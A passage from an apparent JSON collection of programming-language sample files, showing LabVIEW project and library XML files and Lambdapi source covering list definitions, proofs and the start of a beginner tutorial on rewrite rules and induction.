Text.vi\"/>\r\n\t\t\t\t<Item Name=\"Details Display Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Details Display Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"ErrWarn.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/ErrWarn.ctl\"/>\r\n\t\t\t\t<Item Name=\"eventvkey.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/event_ctls.llb/eventvkey.ctl\"/>\r\n\t\t\t\t<Item Name=\"Not Found Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Not Found Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"Three Button Dialog.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog.vi\"/>\r\n\t\t\t\t<Item Name=\"Three Button Dialog CORE.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Three Button Dialog CORE.vi\"/>\r\n\t\t\t\t<Item Name=\"LVRectTypeDef.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/miscctls.llb/LVRectTypeDef.ctl\"/>\r\n\t\t\t\t<Item Name=\"Longest Line Length in Pixels.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Longest Line Length in Pixels.vi\"/>\r\n\t\t\t\t<Item Name=\"Convert property node font to graphics font.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Convert property node font to graphics font.vi\"/>\r\n\t\t\t\t<Item Name=\"Get Text Rect.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/picture/picture.llb/Get Text Rect.vi\"/>\r\n\t\t\t\t<Item Name=\"Get String Text Bounds.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Get String Text Bounds.vi\"/>\r\n\t\t\t\t<Item Name=\"LVBoundsTypeDef.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/miscctls.llb/LVBoundsTypeDef.ctl\"/>\r\n\t\t\t\t<Item Name=\"BuildHelpPath.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/BuildHelpPath.vi\"/>\r\n\t\t\t\t<Item Name=\"GetHelpDir.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/GetHelpDir.vi\"/>\r\n\t\t\t</Item>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Build Specifications\" Type=\"Build\"/>\r\n\t</Item>\r\n</Project>\r\n"
  },
  {
    "path": "samples/LabVIEW/Word Finder.lvproj",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Project Type=\"Project\" LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"My Computer\" Type=\"My Computer\">\r\n\t\t<Property Name=\"server.app.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.control.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.tcp.enabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"server.tcp.port\" Type=\"Int\">0</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName\" Type=\"Str\">My Computer/</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName.default\" Type=\"Str\">My Computer/</Property>\r\n\t\t<Property Name=\"server.vi.callsEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.vi.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"specify.custom.address\" Type=\"Bool\">false</Property>\r\n\t\t<Item Name=\"Gettysburg.txt\" Type=\"Document\" URL=\"../Gettysburg.txt\"/>\r\n\t\t<Item Name=\"Word Finder.vi\" Type=\"VI\" URL=\"../Word Finder.vi\"/>\r\n\t\t<Item Name=\"Dependencies\" Type=\"Dependencies\">\r\n\t\t\t<Item Name=\"vi.lib\" Type=\"Folder\">\r\n\t\t\t\t<Item Name=\"NI_SDE_InitOnFirstCall2.vim\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/NI_SDE_InitOnFirstCall2.vim\"/>\r\n\t\t\t</Item>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Build Specifications\" Type=\"Build\"/>\r\n\t</Item>\r\n</Project>\r\n"
  },
  {
    "path": "samples/LabVIEW/Work Dispatcher.lvlib",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Library LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.Lib.Icon\" Type=\"Bin\">'1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!(^!!!*Q(C=\\&gt;8\"&lt;2MR%!813:\"$A*T51;!7JA7VI\";G\"6V^6!P4AFJ1#^/#7F!,TN/'-(++=IC2(-TVS+O`80+:3[QDNP9VYEO]0GP@@NM_LD_\\`K4&amp;2`NI`\\;^0.WE\\\\ZH0]8D2;2'N3K6]:DK&gt;?1D(`H)2T\\SFL?]Z3VP?=N,8P+3F\\TE*5^ZSF/?]J3H@$PE)1^ZS*('Z'/C-?A99(2'C@%R0--T0-0D;QT0]!T0]!S0,D%]QT-]QT-]&lt;IPB':\\B':\\B-&gt;1GG?W1]QS0Y;.ZGK&gt;ZGK&gt;Z4\"H.UQ\"NMD:Q'Q1DWM6WUDT.UTR/IXG;JXG;JXF=DO:JHO:JHO:RS\\9KP7E?BZT(-&amp;%]R6-]R6-]BI\\C+:\\C+:\\C-6U54`%52*GQ$)Y1Z;&lt;3I8QJHO,R+YKH?)KH?)L(J?U*V&lt;9S$]XDE0-E4`)E4`)EDS%C?:)H?:)H?1Q&lt;S:-]S:-]S7/K3*\\E3:Y%3:/;0N*A[=&lt;5+18*YW@&lt;,&lt;E^J&gt;YEO2U2;`0'WJ3R.FOM422L=]2[[,%?:KS(&amp;'PR9SVKL-7+N1CR`LB9[&amp;C97*0%OPH2-?Y_&lt;_KK,OKM4OKI$GKP&gt;I^&lt;`X,(_`U?N^MNLN&gt;L8#[8/*`0=4K&gt;YHA]RO&amp;QC0V_(\\P&gt;\\OUV].XR^E,Y_6Z[=@YH^5\\`3`_$&gt;W.]DF`(N59`!/&lt;!-PQ!!!!!</Property>\r\n\t<Property Name=\"NI.Lib.SourceVersion\" Type=\"Int\">419463168</Property>\r\n\t<Property Name=\"NI.Lib.Version\" Type=\"Str\">1.0.0.0</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"Messages for this Actor\" Type=\"Folder\">\r\n\t\t<Item Name=\"Add Available Worker Msg.lvclass\" Type=\"LVClass\" URL=\"../Work Dispatcher Messages/Add Available Worker Msg/Add Available Worker Msg.lvclass\"/>\r\n\t\t<Item Name=\"Add Task Msg.lvclass\" Type=\"LVClass\" URL=\"../Work Dispatcher Messages/Add Task Msg/Add Task Msg.lvclass\"/>\r\n\t</Item>\r\n\t<Item Name=\"Work Dispatcher.lvclass\" Type=\"LVClass\" URL=\"../Work Dispatcher/Work Dispatcher.lvclass\"/>\r\n</Library>\r\n"
  },
  {
    "path": "samples/LabVIEW/Worker.lvlib",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Library LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.Lib.Icon\" Type=\"Bin\">'1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!(]!!!*Q(C=\\&gt;8\"=&gt;MQ%!8143;(8.6\"2CVM#WJ\",7Q,SN&amp;(N&lt;!NK!7VM#WI\"&lt;8A0$%94UZ2$P%E\"Y.?G@I%A7=11U&gt;M\\7P%FXB^VL\\`NHV=@X&lt;^39O0^N(_&lt;8NZOEH@@=^_CM?,3)VK63LD-&gt;8LS%=_]J'0@/1N&lt;XH,7^\\SFJ?]Z#5P?=F,HP+5JTTF+5`Z&gt;MB$(P+1)YX*RU2DU$(![)Q3YW.YBG&gt;YBM@8'*\\B':\\B'2Z&gt;9HC':XC':XD=&amp;M-T0--T0-.DK%USWS(H'2\\$2`-U4`-U4`/9-JKH!&gt;JE&lt;?!W#%;UC_WE?:KH?:R']T20]T20]\\A=T&gt;-]T&gt;-]T?/7&lt;66[UTQ//9^BIHC+JXC+JXA-(=640-640-6DOCC?YCG)-G%:(#(+4;6$_6)]R?.8&amp;%`R&amp;%`R&amp;)^,WR/K&lt;75?GM=BZUG?Z%G?Z%E?1U4S*%`S*%`S'$;3*XG3*XG3RV320-G40!G3*D6^J-(3D;F4#J,(T\\:&lt;=HN+P5FS/S,7ZIWV+7.NNFC&lt;+.&lt;GC0819TX-7!]JVO,(7N29CR6L%7,^=&lt;(1M4#R*IFV][.DX(X?V&amp;6&gt;V&amp;G&gt;V&amp;%&gt;V&amp;\\N(L@_Z9\\X_TVONVN=L^?Y8#ZR0J`D&gt;$L&amp;]8C-Q_%1_`U_&gt;LP&gt;WWPAG_0NB@$TP@4C`%`KH@[8`A@PRPA=PYZLD8Y!#/7SO!!!!!!</Property>\r\n\t<Property Name=\"NI.Lib.SourceVersion\" Type=\"Int\">419463168</Property>\r\n\t<Property Name=\"NI.Lib.Version\" Type=\"Str\">1.0.0.0</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"Messages for this Actor\" Type=\"Folder\">\r\n\t\t<Item Name=\"Increase Count Msg.lvclass\" Type=\"LVClass\" URL=\"../Person Messages/Increase Count Msg/Increase Count Msg.lvclass\"/>\r\n\t\t<Item Name=\"Process Job Msg.lvclass\" Type=\"LVClass\" URL=\"../Person Messages/Process Job Msg/Process Job Msg.lvclass\"/>\r\n\t</Item>\r\n\t<Item Name=\"Worker.lvclass\" Type=\"LVClass\" URL=\"../Worker/Worker.lvclass\"/>\r\n</Library>\r\n"
  },
  {
    "path": "samples/Lambdapi/List.lp",
    "content": "require open tests.OK.Set tests.OK.Prop tests.OK.FOL tests.OK.Eq\n  tests.OK.Nat tests.OK.Bool;\n\n(a:Set) inductive 𝕃:TYPE ≔\n| □ : 𝕃 a // \\Box\n| ⸬ : τ a → 𝕃 a → 𝕃 a; // ::\n\nnotation ⸬ infix right 20;\n\n// set code for 𝕃\n\nconstant symbol list : Set → Set;\n\nrule τ (list $a) ↪ 𝕃 $a;\n\n// is□\n\nsymbol is□ [a]: 𝕃 a → 𝔹;\n\nrule is□ □ ↪ true\nwith is□ (_ ⸬ _) ↪ false;\n\n// non confusion of constructors\n\nopaque symbol ⸬≠□ [a] [x:τ a] [l] : π (x ⸬ l ≠ □) ≔\nbegin\n  assume a x l h; refine ind_eq h (λ l, istrue(is□ l)) ⊤ᵢ\nend;\n\nopaque symbol □≠⸬ [a] [x:τ a] [l] : π (□ ≠ x ⸬ l) ≔\nbegin\n  assume a x l h; apply @⸬≠□ a x l; symmetry; apply h\nend;\n\n// head\n\nsymbol head [a] : τ a → 𝕃 a → τ a;\n\nrule head $x □ ↪ $x\nwith head _ ($x ⸬ _) ↪ $x;\n\n// tail\n\nsymbol behead [a] : 𝕃 a → 𝕃 a;\n\nrule behead □ ↪ □\nwith behead (_ ⸬ $l) ↪ $l;\n\n// injectivity of constructors\n\nopaque symbol ⸬_inj [a] [x:τ a] [l y m] : π(x ⸬ l = y ⸬ m) → π(x = y ∧ l = m) ≔\nbegin\n  assume a x l y m e; apply ∧ᵢ { refine feq (head x) e } { refine feq behead e }\nend;\n\n// boolean equality on lists\n\nsymbol eql [a] : (τ a → τ a → 𝔹) → 𝕃 a → 𝕃 a → 𝔹;\n\nrule eql _ □ □ ↪ true\nwith eql _ (_ ⸬ _) □ ↪ false\nwith eql _ □ (_ ⸬ _) ↪ false\nwith eql $beq ($x ⸬ $l) ($y ⸬ $m) ↪ ($beq $x $y) and (eql $beq $l $m);\n\nopaque symbol eql_correct a (beq:τ a → τ a → 𝔹) :\n  π(`∀ x, `∀ y, beq x y ⇒ x = y) → π(`∀ l, `∀ m, eql beq l m ⇒ l = m) ≔\nbegin\n  assume a beq beq_correct; induction\n  { induction\n    { reflexivity }\n    { simplify; assume y m i c; refine ⊥ₑ c }\n  }\n  { assume x l h; induction\n    { simplify; assume c; refine ⊥ₑ c; }\n    { simplify; assume y m i c;\n      apply feq2 (⸬) _ _\n      { apply beq_correct; apply @andₑ₁ _ (eql beq l m) c }\n      { apply h; refine @andₑ₂ (beq x y) _ c\n      } \n    }\n  }\nend;\n\nopaque symbol eql_complete a (beq : τ a → τ a → 𝔹) :\n  π(`∀ x, `∀ y, x = y ⇒ beq x y) → π(`∀ l, `∀ m, l = m ⇒ eql beq l m) ≔\nbegin\n  assume a beq beq_complete; induction\n  { assume m i; rewrite left i; apply ⊤ᵢ; }\n  { assume x l h; induction\n    { assume j; apply ⸬≠□ j; }\n    { assume y m i j; simplify;\n      have j': π(x = y ∧ l = m) { apply ⸬_inj j };\n      apply @istrue_and (beq x y) (eql beq l m); apply ∧ᵢ\n      { apply beq_complete x y; apply ∧ₑ₁ j' }\n      { apply h m; apply ∧ₑ₂ j' }\n    }\n  }\nend;\n\n// size\n\nsymbol size [a] : 𝕃 a → ℕ;\n\nrule size □ ↪ 0\nwith size (_ ⸬ $l) ↪ size $l +1;\n\nopaque symbol size0nil [a] (l:𝕃 a) : π (size l = 0) → π (l = □) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume e l h i; apply ⊥ₑ; apply s≠0 i; }\nend;\n\nsymbol nilp [a] l ≔ is0 (@size a l);\n\nopaque symbol size_behead [a] (l:𝕃 a) : π (size (behead l) = size l ∸1) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume e l h; reflexivity; }\nend;\n\n// concatenation\n\nsymbol ++ [a] : 𝕃 a → 𝕃 a → 𝕃 a; notation ++ infix right 30; // \\cdot\n\nassert x y z ⊢ x ++ y ++ z ≡ x ++ (y ++ z);\nassert x l m ⊢ x ⸬ l ++ m ≡ x ⸬ (l ++ m);\n\nrule □ ++ $m ↪ $m\nwith ($x ⸬ $l) ++ $m ↪ $x ⸬ ($l ++ $m);\n\nopaque symbol cat0s [a] (l:𝕃 a) : π (□ ++ l = l) ≔\nbegin\n  reflexivity;\nend;\n\nopaque symbol cat1s [a] (x:τ a) l : π ((x ⸬ □) ++ l = (x ⸬ l)) ≔\nbegin\n  reflexivity;\nend;\n\nopaque symbol cat_cons [a] (x:τ a) l1 l2 : π ((x ⸬ l1) ++ l2 = x ⸬ (l1 ++ l2)) ≔\nbegin\n  reflexivity;\nend;\n\n// nseq\n\nsymbol nseq [a] : ℕ → τ a → 𝕃 a;\n\nrule nseq 0 _ ↪ □\nwith nseq ($n +1) $x ↪ $x ⸬ (nseq $n $x);\n\n// ncons\n\nsymbol ncons [a] : ℕ → τ a → 𝕃 a → 𝕃 a;\n\nrule ncons 0 _ $l ↪ $l\nwith ncons ($n +1) $x $l ↪ $x ⸬ ncons $n $x $l;\n\nopaque symbol size_ncons [a] n (x:τ a) l : π (size (ncons n x l) = n + size l) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume n h x l; simplify; apply feq (+1) (h x l); }\nend;\n\nopaque symbol size_nseq [a] n (x:τ a) : π (size (nseq n x) = n) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume n h x; simplify; apply feq (+1) (h x); }\nend;\n\nopaque symbol cat_nseq [a] n (x:τ a) l : π (nseq n x ++ l = ncons n x l) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume n h x l; simplify; rewrite h x l; reflexivity; }\nend;\n\nopaque symbol nseqD [a] n1 n2 (x:τ a) :\n  π (nseq (n1 + n2) x = nseq n1 x ++ nseq n2 x) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume n1 h n2 x; simplify; rewrite h n2; reflexivity; }\nend;\n\nopaque symbol cats0 [a] (l:𝕃 a) : π(l ++ □ = l) ≔\nbegin\n  assume a;\n  induction\n    // case l = □\n    { reflexivity; }\n    // case l = x ⸬ l'\n    { assume x l' h; simplify; rewrite h; reflexivity; }\nend;\n\nrule $m ++ □ ↪ $m;\n\nopaque symbol size_cat [a] (l m : 𝕃 a) : π(size (l ++ m) = size l + size m) ≔\nbegin\n  assume a;\n  induction\n    // case l = □\n    { reflexivity; }\n    // case l = x⸬l'\n    { assume x l' h m; simplify; rewrite h; reflexivity; }\nend;\n\nrule size ($l ++ $m) ↪ size $l + size $m;\n\nopaque symbol catA  [a] (l m n : 𝕃 a) : π((l ++ m) ++ n = l ++ (m ++ n)) ≔\nbegin\n  assume a;\n  induction\n    // case l = □\n    { reflexivity; }\n    // case l = x⸬l'\n    { assume x l' h m n; simplify; rewrite h; reflexivity; }\nend;\n\nrule ($l ++ $m) ++ $n ↪ $l ++ ($m ++ $n);\n\nopaque symbol cat_nilp [a] (l1 l2 : 𝕃 a) :\n  π (nilp (l1 ++ l2) = (nilp l1 and nilp l2)) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume e l h l2; simplify; reflexivity; }\nend;\n\n// list reversal\n\nsymbol rev [a] : 𝕃 a → 𝕃 a;\n\nrule rev □ ↪ □\nwith rev ($x ⸬ $l) ↪ rev $l ++ ($x ⸬ □);\n\nopaque symbol rev_concat [a] (l m : 𝕃 a) : π(rev (l ++ m) = rev m ++ rev l) ≔\nbegin\n  assume a;\n  induction\n    // case l = □\n    { simplify; reflexivity; }\n    // case l = ⸬\n    { assume x l h m; simplify; rewrite h; reflexivity; }\nend;\n\nrule rev ($l ++ $m) ↪ rev $m ++ rev $l;\n\nopaque symbol rev_idem [a] (l :𝕃 a) : π(rev (rev l) = l) ≔\nbegin\n  assume a; induction\n  { reflexivity }\n  { assume x l h; simplify; rewrite h; reflexivity }\nend;\n\nopaque symbol size_rev [a] (l : 𝕃 a) : π(size (rev l) = size l) ≔\nbegin\n  assume a;\n  induction\n    // case l = □\n    { simplify; reflexivity; }\n    // case l = ⸬\n    { assume x l h; simplify; rewrite h; reflexivity; }\nend;\n\n// rcons\n\nsymbol rcons [a] : 𝕃 a → τ a → 𝕃 a;\n\nrule rcons □ $x ↪ $x ⸬ □\nwith rcons ($e ⸬ $l) $x ↪ $e ⸬ (rcons $l $x);\n\nopaque symbol cats1 [a] (l:𝕃 a) (z:τ a) : π (l ++ (z ⸬ □) = rcons l z) ≔\nbegin\n  assume a; induction\n  { reflexivity; }\n  { assume e l h z; simplify; rewrite h z; reflexivity; }\nend;\n\nopaque symbol rcons_cons [a] (x:τ a) (s:𝕃 a) (z:τ a) :\n  π (rcons (x ⸬ s) z = x ⸬ rcons s z) ≔\nbegin\n  reflexivity;\nend;\n\n// Arr\n\nsymbol Arr : ℕ → Set → Set → TYPE;\n\nrule Arr 0 _ $b ↪ τ $b\nwith Arr ($n +1) $a $b ↪ τ $a → Arr $n $a $b;\n\n// seqn\n\nsymbol seqn_acc [a] n : 𝕃 a → Arr n a (list a);\n\nrule seqn_acc 0 $l ↪ rev $l\nwith seqn_acc ($n +1) $l $x ↪ seqn_acc $n ($x ⸬ $l);\n\nsymbol seqn [a] n ≔ @seqn_acc a n □;\n\nassert a (x y : τ a) ⊢ seqn 2 x y ≡ x ⸬ y ⸬ □;\n\n// iota\n\nsymbol iota : ℕ → ℕ → 𝕃 nat;\nrule iota _ 0 ↪ □\nwith iota $n ($k +1) ↪ $n ⸬ iota ($n +1) $k;\n\nassert ⊢ iota 1 2 ≡ 1 ⸬ 2 ⸬ □;\n\n// indexes\n\nsymbol indexes [a] : 𝕃 a → 𝕃 nat;\n\nrule indexes $l ↪ iota 0 (size $l);\n\nassert x ⊢ indexes (x ⸬ x ⸬ x  ⸬ x ⸬ □) ≡ 0 ⸬ 1 ⸬ 2 ⸬ 3 ⸬ □;\n\n// last\n\nsymbol last [a] : τ a → 𝕃 a → τ a;\n\nrule last $x □ ↪ $x\nwith last _ ($e ⸬ $l) ↪ last $e $l;\n\nassert ⊢ last 4 (3 ⸬ 2 ⸬ 1 ⸬ □) ≡ 1;\nassert ⊢ last 4 □ ≡ 4;\n\n// belast\n\nsymbol belast [a] : τ a → 𝕃 a → 𝕃 a;\n\nrule belast _ □ ↪ □\nwith belast $x ($e ⸬ $l) ↪ $x ⸬ belast $e $l;\n\nassert ⊢ belast 4 (3 ⸬ 2 ⸬ 1 ⸬ □) ≡ 4 ⸬ 3 ⸬ 2 ⸬ □;\n"
  },
  {
    "path": "samples/Lambdapi/tutorial.lp",
    "content": "// Learn the basics of Lambdapi in 15 minutes (this is a one-line comment).\n\n/* Install support for Lambdapi files in Emacs or VSCode to better\nvisualize this file and the generated subgoals in proofs\n(this is a multi-lines comment). */\n\n/* Put this file and\nhttps://github.com/Deducteam/lambdapi/blob/master/tests/lambdapi.pkg\nin the same directory, and run emacs or vscode from this\ndirectory. Make sure that lambdapi is in your path (do \"eval `opam\nenv`\" if you installed lambdapi with opam). */\n\n/* In Lambdapi, you can declare type and object symbols. Symbol names\ncan contain unicode characters (utf8). */\n\n/* Convention: identifiers starting with an uppercase letter denote\ntypes, while identifiers starting with a lowercase letter denote objects. */\n\nsymbol ℕ : TYPE; // is a type declaration\n\n// Commands are separated by semi-colons.\n\nsymbol zero : ℕ; // is an object declaration\n\nsymbol succ : ℕ → ℕ; /* means that \"succ\" takes an argument of type ℕ\n  and returns something of type ℕ. */\n\n// We can make definitions as follows:\nsymbol one ≔ succ zero;\n\n// We can ask Lambdapi the type of a term:\ntype one;\n\n// We can check that a term has a given type:\nassert ⊢ one : ℕ;\n\n// or that a term does not have a given type:\nassertnot ⊢ succ : ℕ;\n\nsymbol + : ℕ → ℕ → ℕ;\nnotation + infix right 10;\n/* means that + is declared as infix.\n\"right\" means that \"x + y + z\" is the same as \"x + (y + z)\".\n10 is the priority level of +. It is useful to parse expressions\nwith various infix operators (see below). */\n\nsymbol × : ℕ → ℕ → ℕ;\nnotation × infix right 20;\n/* The priority level of × is higher than the one of +.\nSo \"x + y × z\" is parsed as \"x + (y × z)\". We can check it as follows: */\n\nassert x y z ⊢ x + y × z ≡ x + (y × z);\nassertnot x y z ⊢ x + y × z ≡ (x + y) × z;\n\n/* We can now tell Lambdapi to identify any term of the form \"t + 0\" with \"t\"\nby simply declaring the following rewrite rule: */\nrule $x + zero ↪ $x; // rule variables must be prefixed by \"$\"\n\n// We can also ask Lambdapi to evaluate a term using the declared rules:\ncompute zero + zero;\n// and check the result:\nassert ⊢ zero + zero ≡ zero;\n  /* ≡ is the equational theory generated by the user-defined rules\n     and β-reduction + η-reduction if the flag \"eta_equality\" is on. */\n\n// The definition of + can be completed by adding a new rule later:\nrule $x + succ $y ↪ succ ($x + $y);\n\n// Several rules can also be given at once:\nrule zero × $y ↪ zero\nwith succ $x × $y ↪ $y + $x × $y;\n\n/* We now would like to prove some theorem about +. To this end, since\nLambdapi does not come with a pre-defined logic, we first need to\ndefine what is a proposition and what is a proof.\n\nYou usually just need to install a package defining some logics and\nrequire it in your development. For instance, using Opam, you can do:\n\nopam install lambdapi-logics\n\nThen, in your development, you can use one of the logics defined in\nthis package (see https://github.com/Deducteam/lambdapi-logics for\nmore details) as follows:\n\nrequire Logic.TFF.Main;\n\nThis tells Lambdapi to load in the environment the symbols, rules,\netc.  declared in the package Logic.TFF, which defines multi-sorted\nfirst-order logic. A symbol f of Logic.TFF can then be refered to by\nLogic.TFF.f.  To avoid writing Logic.TFF every time, you can do:\n\nopen Logic.TFF.Main;\n\nThe two operations can also be done at the same time by simply writing;\n\nrequire open Logic.TFF;\n\nBut we are going to define our own logic hereafter to show that it is\nsimple. */\n\n// We first declare a type for propositions:\nsymbol Prop : TYPE;\n\n// and symbols for building propositions:\nsymbol = : ℕ → ℕ → Prop;\nnotation = infix 1;\n\n/* We then use the \"proposition-as-type\" technique to reduce\nproof-checking to type-checking. To this end, we define a type for the\nproofs of a proposition: */\ninjective symbol Prf : Prop → TYPE;\n  /* Note that this is a type-level function, that is, a function that\n     takes as argument a term of type Prop and return a term of type TYPE.\n\n     Moreover, we declare Prf as injective. This means that Prf\n     should satisfy the following property:\n       if Prf(p) ≡ Prf(q) then p ≡ q.\n     The verification of this property is left to the user.\n     This information is used by Lambdapi to simplify a unification constraint\n     of the form Prf(p) ≡ Prf(q) into p ≡ q (see below). */\n\n/* We then say that a proof of a proposition \"p\" is any term of type\n\"Prf(p)\". We therefore need to declare axioms saying which\npropositions are true. For instance, a usual axiom for equality is\nthat it is a reflexive relation: */\nsymbol =-refl x : Prf(x = x);\n  /* For all x, \"=-refl x\" is a proof of the proposition \"x = x\".\n     Note that Lambdapi can infer the type of \"x\" automatically:\n     the user does not need to write \"symbol =-refl (x : ℕ) : Prf(x = x)\". */\n\n/* Another usual axiom is that function application preserves equality: */\nsymbol =-succ x y : Prf(x = y) → Prf(succ x = succ y);\n\n/* We also need to declare that we can prove any proposition \"p\" on natural\nnumbers by induction: */\nsymbol ind_ℕ (p : ℕ → Prop)\n  (case-zero : Prf(p zero))\n  (case-succ : Π x : ℕ, Prf(p x) → Prf(p (succ x)))\n     /* While \"A → B\" is the Lambdapi type of functions from \"A\" to \"B\",\n        \"Π x : A, B(x)\" is the Lambdapi type of so-called \"dependent\" functions\n        since x may occur in B(x). This is the type of functions mapping\n        any element a of type A to some element of type B(a).\n        It boils down to \"A → B\" if x does not occur in B.\n        Hence, case-succ is a function that takes as arguments a natural\n        number x and a proof that \"p x\" is true, and returns a proof that\n        \"p (succ x)\" is true. */\n  (n : ℕ)\n  : Prf(p n);\n\n/* We will later see that this induction principle can in fact be\nautomatically generated by Lambdapi by using the \"inductive\" command\nwhen declaring ℕ, zero and succ. */\n \n/* We are now ready to prove that, for any natural number \"x\",\n\"zero + x\" is equal to \"x\", that is, to show that there exists a term, that\nwe will call \"zero_is_neutral_for_+\", of type \"Π x : ℕ, Prf (zero + x = x)\".\nTo this end, Lambdapi provides an interactive mode (launched by the keyword\n\"begin\") to enable users to define this term step by step using tactics. */\n\nopaque /* We declare the symbol as opaque as we do not want Lambdapi\nto unfold it later. */\nsymbol zero_is_neutral_for_+ x : Prf (zero + x = x) ≔\n\nbegin\n/* Here, in Emacs or VSCode, the system prints the following goal to prove:\n?zero_is_neutral_for_+: Π x: ℕ, Prf ((zero + x) = x) */\n\n/* To proceed by induction on x, we simply need to say that\n?zero_is_neutral_for_+ should be of the form \"ind_ℕ _ _ _\"\nwhere \"_\" stands for a term to be built.\nThis can be done by using the \"refine\" tactic: */\n\n/* However, if we simply write \"refine ind_ℕ _ _ _\",\nLambdapi will complain with the following error message:\n\"Missing subproofs (0 subproofs for 2 subgoals).\"\nThis is because we gave no subproof for the case-zero and case-succ arguments.\nIndeed, in Lambdapi, proofs must be well structured, that is, a tactic\nmust be followed by as many subproofs enclosed between curly brackets\nas the number of subgoals generated by the tactic. So, here, we need to write\n\"refine nat _ _ _ {} {}\" and then write the missing subproofs. */\n\n/* Remark: if we hadn't declared Prf as injective, we would have gotten\n  4 subgoals. the first generated subgoal would not have been a typing goal\n  but the following unification goal:\n  \"Prf (?4 n) ≡ Prf ((zero + n) = n)\"\n  where \"?4\" stands for the unknown predicate \"p\" that we try to prove,\n  which would have been the second goal, the third goal being the case for\n  zero, and the fourth goal being the case for succ.\n  This is one of the interesting features of Lambdapi to have unification\n  goals. However, currently, Lambdapi has only one tactic for unification\n  goals, namely \"solve\", which is applied automatically and thus didn't work\n  here. However, we can see that, to simplify this unification goal to\n  \"?4 n ≡ (zero + n) = n\"\n  we need Prf to be injective. */\n\nrefine ind_ℕ _ _ _\n  { /* Here comes the proof of the first generated subgoal:\n    \"Prf ((zero + zero) = zero)\".\n\n    Note that Lambdapi infered the predicate to prove automatically.\n\n    To prove the first subgoal, we can first ask Lambdapi to simplify it\n    by applying user-defined rewriting rules with the tactic \"simplify\": */\n    simplify;\n\n    /* We then get the following goal:\n    \"Prf (zero = zero)\"\n    which can be solved by using =-refl: */\n    refine =-refl zero;\n  }\n  { /* Here comes the proof of the second generated subgoal:\n    \"Π x: ℕ, Prf ((zero + x) = x) → Prf ((zero + succ x) = succ x)\"\n\n    We start by assuming a given x : ℕ such that \"zero + x = x\"\n    using the tactic \"assume\": */\n    assume x hyp_on_x;\n    /* Again, we can simplify the goal: */\n    simplify;\n    /* We can then conclude by using the axiom =-succ and the assumption\n    hyp_on_x: */\n    refine =-succ (zero + x) x hyp_on_x;\n    /* Alternatively, we could use the \"rewrite\" tactic of Lambdapi,\n    to replace \"zero + x\" by \"x\", but this requires to set up a number\n    of \"builtins\" (see below). */\n  };\nend;\n\n/* Remark: now that we proved that \"zero + x\" is equal to \"x\", we can turn\nthis equality into a rewrite rule to reason modulo this rule automatically. */\nrule zero + $y ↪ $y;\n\n/* We are going to see below how this first proof can be simplified\nby using more advanced features of Lambdapi. */\n\n/* First, the induction principle on natural numbers can be automatically\ngenerated by Lambdapi by using the command \"inductive\",\nas long as the builtins \"Prop\" and \"P\" are set: */\nbuiltin \"Prop\" ≔ Prop;\nbuiltin \"P\" ≔ Prf;\ninductive Nat : TYPE ≔ z : Nat | s : Nat → Nat;\n\n/* To see what has been generated, you can write: */\nprint Nat;\n/* prints:\n\nconstant symbol Nat: TYPE \n\nconstructors:\n  z: Nat\n  s: Nat → Nat\n\ninduction principle:\n  ind_Nat: Π p0: (Nat → Prop), P (p0 z) → (Π x0: Nat, P (p0 x0) → P (p0 (s x0))) → Π x0: Nat, P (p0 x0)\n*/\nprint ind_Nat;\n/* prints:\n\nsymbol ind_Nat\n: Π p0: (Nat → Prop), P (p0 z) → (Π x0: Nat, P (p0 x0) → P (p0 (s x0))) → Π x0: Nat, P (p0 x0)\n\nrules:\n  ind_Nat $v0_p0 $v1_z $v2_s z 